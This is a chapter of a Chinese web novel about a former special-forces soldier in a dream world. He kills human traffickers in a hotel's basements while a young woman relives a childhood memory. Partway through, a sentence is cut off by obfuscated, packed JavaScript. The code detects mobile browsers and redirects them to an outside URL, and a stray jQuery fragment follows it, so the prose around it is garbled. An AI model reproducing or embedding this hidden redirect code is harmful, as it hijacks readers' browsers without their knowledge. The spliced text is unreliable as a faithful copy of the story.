而背包客告诉刘义达的那段传说，也取自他的记忆。 这件事是真实发生过的，这座旅馆其实并不在国内，而在一个与我国接壤的中亚小国境内，位于较为冷僻的山区。上世纪90年代初期建造，为了藏匿拐卖人口，犯罪分子在旅馆地下修建了大量地下室，同时为了向官方隐瞒建造工期，收买了施工队，利用当地土著居民迷信思想，播散每到夜晚建筑会缩水的传说，并且在本该停止施工的初冬继续赶工，利用一场大雪制造意外，将施工队灭口，直到第二年才顺利竣工。而惹怒了山神的传说也减少了旅馆的客人，令他们更方便藏匿人口。 地下室一共三层，都用来藏匿从国内运来的受害人，等合适的机会在分头运往其他国家。 两年前R7特战队协助国内警方，将这座据点彻底铲除，营救了一部分被拐卖的受害者，男女不限，甚至还有幼童。 当然这座据点不是唯一一个，背后势力极为强大，R7特战队听从指令，继续追踪了下去…… 当时的场景历历在目，他不愿去回忆，甚至不允许别人提起自己的往事。 但回忆却不会放过自己。 这一次，他没有像在现实生活一样制服歹徒，而是毫不犹豫地选择击毙。 法外制裁是最不可取的方法，他果然已经不适合再穿军装了。 周辰顺着那条暗道，给所有参与拐卖案的罪犯一人一颗枪子儿，老板、老板娘、中年厨师王哥、前台小姐……刘义达从后面呼哧呼哧地跑过来，他看到了地下室里失踪的学生和老师，高兴得快哭出来了。 “太好了，终于找到你们了。” 他放下枪，正想对刘义达嘱咐一下，突然感觉脑内神经震颤了一下，随后涌上强烈的危机感！ 开启100%同步率，可以让他随时随地感知纪璇的安全状态。 这证明现在她有危险！ 不对，这不应该！ 在纪璇本人发现，并有主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379971|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意愿与梦魇对抗之前，他不可能仅凭自己的力量驱逐梦魇，只能想办法尽量将梦魇与纪璇隔离，所以在进入这次梦境之前，他用自己所能获得的最大系统权限在梦中设置了一个“安全屋”，也就是这间旅馆，外面的暴风雪则是对“安全屋”无可奈何的梦魇。 理论上，只要纪璇在旅馆里，就不可能遇到生命危险，所以他才放心让她跟在自己身后——深海系统的权限设置是用来观赏的？KIT辅助功能干什么吃的！ 周辰想骂脏话。 他三步并两步地冲向地下室出口，但在出口处就意识到了不对劲，原本被击毙的旅店犯罪分子都晃晃悠悠地站了起来，他们身后还涌现出更多的黑影，每个人都手持不知道从哪冒出来的管制刀具，将身体扭曲到极限，不知后退也不知疼痛地向周辰攻击，明显是想拖延他去解救纪璇的时间。 周辰心里越愤怒，表情越是平静，他甚至还笑了一声。 “以为演丧尸片儿呢你们！” 根本没在怕的！ 他端起MK715，子弹率先打爆一个敌人的头，长腿踹开举着三棱刺的老板娘，肘尖撞击、枪托、扫射，周辰穿梭在敌群中，熟悉的弹药味让他如鱼得水，几乎将自己的格斗技能发挥到极致，向着出口冲过去。 推开门后的纪璇怔住了。 眼前是她很久很久以前的家，这间屋子是她有记忆以来，属于自己的第一间卧室。 浅粉色的窗帘，铺着淡雅小花床单的单人床，小小的桌椅和白色的书架，角落里放着几个堆满玩具的储物箱，没有讲究的装修，却满是生活的温馨气息。 那个时候，爸爸工作虽然很忙，总会抽空回家，带她去游乐园。 妈妈则没那么辛苦，她喜欢打扮，烫时下流行的卷发，穿漂亮的裙子，在一众接孩子放学的家长中艳压群芳。 那个时候，嘟嘟也还在。 她怀里的小熊布偶跳到地上，笨拙地把露在肚子外的棉絮塞了回去，然后走到书架前，从上面抽下来一本童话书。 ——《爱丽丝梦游仙境》。 纪璇似乎已经忘了自己刚刚才经历过一场血案，她慢慢地走了进去，坐在自己最喜欢的位置，打开了童话书。 “Alice was beginning to get very bored。She and her sister……” 外面的暴风雪依旧呼啸着。 纪璇坐在温暖的卧室中，空气中似乎还有妈妈在厨房做饭的香气，她隐约记得今天是星期六，爸爸晚上一定会回家吃饭，明天就可以去游乐园。 小熊嘟嘟、小火车、积木，各种玩具包围着她，一起听她讲故事。 “How will I ever get out again？she……”她停下来，皱着眉看着书上的单词thoughtsadly，“笑笑哥哥，这个单词好长啊，该怎么读？” 没有人回答她。 等等，笑笑哥哥是谁？